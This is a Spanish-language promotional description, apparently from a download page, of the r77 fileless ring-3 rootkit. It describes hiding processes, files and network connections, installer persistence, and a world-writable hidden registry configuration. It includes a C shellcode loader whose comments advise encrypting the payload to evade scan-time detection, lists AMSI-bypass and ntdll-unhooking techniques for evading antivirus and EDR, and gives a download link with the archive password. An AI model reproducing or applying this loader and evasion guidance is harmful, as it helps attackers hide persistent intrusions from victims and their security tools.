
Rootkit sin archivos ring 3 con instalador y persistencia que oculta procesos, archivos, conexiones de red, etc.
r77 es un rootkit de ring 3 que oculta todo:
Todo lo que comienza con "$77" está oculto.

El sistema de configuración dinámica permite ocultar procesos por PID y por nombre, elementos del sistema de archivos por ruta completa, conexiones TCP y UDP de puertos específicos, etc.

La configuración se encuentra en HKEY_LOCAL_MACHINE\SOFTWARE\$77config y puede ser escrita por cualquier proceso sin privilegios elevados. La DACL de esta clave está configurada para otorgar acceso completo a cualquier usuario.
Además, la clave $77config está oculta por el rootkit.
El despliegue de r77 solo requiere un archivo: Install.exe. Su ejecución persiste r77 en el sistema e inyecta todos los procesos en ejecución.
Uninstall.exe elimina r77 del sistema por completo y de forma ordenada.
Install.shellcode es el equivalente en shellcode del instalador. De esta manera, la instalación se puede integrar sin soltar Install.exe. El shellcode simplemente se carga en memoria, se convierte a un puntero a función y se ejecuta:
int main()
{
// 1. Load Install.shellcode from resources or from a BYTE[]
// Ideally, encrypt the file and decrypt it here to avoid scantime detection.
LPBYTE shellCode = ...
// 2. Make the shellcode RWX.
DWORD oldProtect;
VirtualProtect(shellCode, shellCodeSize, PAGE_EXECUTE_READWRITE, &oldProtect);
// 3. Cast the buffer to a function pointer and execute it.
((void(*)())shellCode)();
// This is the fileless equivalent to executing Install.exe.
return 0;
}
El rootkit reside en la memoria del sistema y no escribe ningún archivo en el disco. Esto se logra en múltiples etapas.
Este gráfico muestra cada etapa, desde la ejecución del instalador hasta la DLL del rootkit ejecutándose en cada proceso. La documentación tiene un capítulo con detalles exhaustivos sobre la implementación de cada etapa.

Se utilizan varias técnicas de evasión de AV y EDR:
amsi.dll!AmsiScanBuffer para que siempre devuelva AMSI_RESULT_CLEAN. Se emplea polimorfismo para evadir la detección de firmas del bypass de AMSI.ntdll.dll, es necesario eliminar estos enganches cargando una copia limpia de ntdll.dll desde el disco y restaurando la sección original. De lo contrario, la inyección de procesos sería detectada.La Consola de Prueba es una herramienta útil para inyectar r77 en procesos individuales y probar el sistema de configuración.

Lea la documentación técnica para obtener una visión completa y detallada de r77 y su funcionamiento interno, así como para saber cómo desplegarlo e integrarlo.
r77 Rootkit 1.8.2.zip
(Contraseña ZIP: bytecode77)
Documentación técnica